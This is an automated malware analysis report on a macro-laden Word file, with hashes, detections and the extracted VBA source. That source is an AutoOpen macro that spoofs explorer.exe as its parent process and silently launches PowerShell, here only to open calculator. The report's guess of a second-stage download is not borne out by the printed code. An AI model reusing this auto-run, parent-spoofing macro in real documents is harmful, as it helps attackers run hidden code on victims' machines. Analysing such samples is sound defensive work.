Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 78da6632e2978404…

MALICIOUS

Office (OOXML)

20.4 KB Created: 2021-07-11 09:14:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2026-06-04
MD5: e984e9efd20a734d1d4b4a96fb159f24 SHA-1: 3b78721f49d7a43964d6103594b12129cde2672c SHA-256: 78da6632e2978404e3160786d32b80ae985c50319e06f0e0c1db4ddc6181ff73
150 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The file is an OOXML document containing VBA macros, specifically an AutoOpen macro, which is a strong indicator of malicious intent. The presence of VBA code that uses Windows API functions like CreateProcess suggests the macro is intended to execute arbitrary code, likely to download and run a second-stage payload. ClamAV detection further confirms its malicious nature.

Heuristics 4

  • ClamAV: Doc.Malware.Valyria-10015188-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Valyria-10015188-0
  • VBA project inside OOXML medium 1 related finding OOXML_VBA
    Document contains a VBA project — VBA macros present
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub AutoOpen()
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/10/21/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/9/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/10/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/11/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/12/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/13/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/14/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/inkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2017/model3dIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2018/wordml/cexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2016/wordml/cidIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2018/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Related samples 8

Ranked by shared artifacts, heuristics, extracted URLs, CVEs, and signatures.

Full JSON: related samples API

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 4510 bytes
SHA-256: 55394581878b04fd21ab23dae15719fed2b742f33e8c9ba947ece911fc40bec2
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "NewMacros"

    Private Declare PtrSafe Function GetProcessHeap Lib "kernel32" () As LongPtr
    
    Private Declare PtrSafe Function CreateProcess Lib "kernel32" Alias "CreateProcessA" ( _
        ByVal lpApplicationName As String, _
        ByVal lpCommandLine As String, _
        lpProcessAttributes As Long, _
        lpThreadAttributes As Long, _
        ByVal bInheritHandles As Long, _
        ByVal dwCreationFlags As Long, _
        lpEnvironment As Any, _
        ByVal lpCurrentDriectory As String, _
        ByVal lpStartupInfo As LongPtr, _
        lpProcessInformation As PROCESS_INFORMATION _
    ) As Long
                                   
    Private Declare PtrSafe Function OpenProcess Lib "kernel32.dll" ( _
        ByVal dwAccess As Long, _
        ByVal fInherit As Integer, _
        ByVal hObject As Long _
    ) As LongPtr
     
    Private Declare PtrSafe Function CreateToolhelp32Snapshot Lib "kernel32.dll" ( _
        ByVal dwFlags As Integer, _
        ByVal th32ProcessID As Integer _
    ) As Long
     
    Private Declare PtrSafe Function Process32First Lib "kernel32.dll" ( _
        ByVal hSnapshot As LongPtr, _
        ByRef lppe As PROCESSENTRY32 _
    ) As Long
     
    Private Declare PtrSafe Function Process32Next Lib "kernel32.dll" ( _
        ByVal hSnapshot As LongPtr, _
        ByRef lppe As PROCESSENTRY32 _
    ) As Long
     
    Private Declare PtrSafe Function HeapAlloc Lib "kernel32" ( _
        ByVal hHeap As LongPtr, ByVal dwFlags As Long, _
        ByVal dwBytes As Long _
    ) As LongPtr
    
    Private Declare PtrSafe Function CloseHandle Lib "kernel32" ( _
        ByVal hObject As LongPtr _
    ) As Long
     
    Private Declare PtrSafe Function InitializeProcThreadAttributeList Lib "kernel32.dll" ( _
        ByVal lpAttributelist As LongPtr, _
        ByVal dwAttributeCount As Integer, _
        ByVal dwFlags As Integer, _
        ByRef lpSize As Integer _
    ) As Boolean
    
    Private Declare PtrSafe Function UpdateProcThreadAttribute Lib "kernel32.dll" ( _
        ByVal lpAttributelist As LongPtr, _
        ByVal dwFlags As Integer, _
        ByVal lpAttribute As Long, _
        ByRef lpValue As LongPtr, _
        ByVal cbSize As Integer, _
        ByRef lpPreviousValue As Integer, _
        ByRef lpReturnSize As Integer _
    ) As Boolean
    
Public Function gPBN(ByVal ProcName As String) As Integer

    snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, ByVal 0&)
    ProcessFound = Process32First(snapshot, pEntry)
    
    Do
        If Left$(pEntry.szExeFile, Len(ProcName)) = LCase$(ProcName) Then
            gPBN = pEntry.th32ProcessID
            ProcessFound = False
        Else
            ProcessFound = Process32Next(snapshot, pEntry)
        End If
    Loop While ProcessFound
End Function
    
Sub AutoOpen()
    Dim pi As PROCESS_INFORMATION
    Dim si As STARTUPINFOEX
    Dim sNull As String
    Dim pid As Integer
    Dim r As Integer
    Dim threadAttribSize As Integer
    Dim strCmdLine As String
      
    #If VBA7 And Win64 Then
        Dim hParent As LongPtr
    #Else
        Dim hParent As Long
    #End If
      
    strCmdLine = "powers"
    strCmdLine = strCmdLine + "hell.exe -c calc"
      
    r = InitializeProcThreadAttributeList(ByVal 0&, 1, 0, threadAttribSize)
    si.lpAttributelist = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, threadAttribSize)
    r = InitializeProcThreadAttributeList(si.lpAttributelist, 1, 0, threadAttribSize)
      
    pid = gPBN("explorer.exe")
    hParent = OpenProcess(PROCESS_ALL_ACCESS, False, pid)
    
    r = UpdateProcThreadAttribute(si.lpAttributelist, 0, PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, hParent, Len(hParent), ByVal 0&, ByVal 0&)
          
    si.STARTUPINFO.cb = LenB(si)
    si.STARTUPINFO.dwFlags = 1
    si.STARTUPINFO.wShowWindow = SW_HIDE

    r = CreateProcess( _
      sNull, _
      strCmdLine, _
      ByVal 0&, _
      ByVal 0&, _
      1&, _
      EXTENDED_STARTUPINFO_PRESENT Or CREATE_NEW_CONSOLE, _
      ByVal 0&, _
      sNull, _
      VarPtr(si), _
      pi _
    )
End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 21504 bytes
SHA-256: 3376a78d1e2e44fdc3b2c673c47770a1dba9f891febdc3a463ef66ef5a29f19a
Detection
ClamAV: Doc.Malware.Valyria-10015188-0
Obfuscation or payload: unlikely

Open this report in the interactive analyzer, or submit your own file for analysis.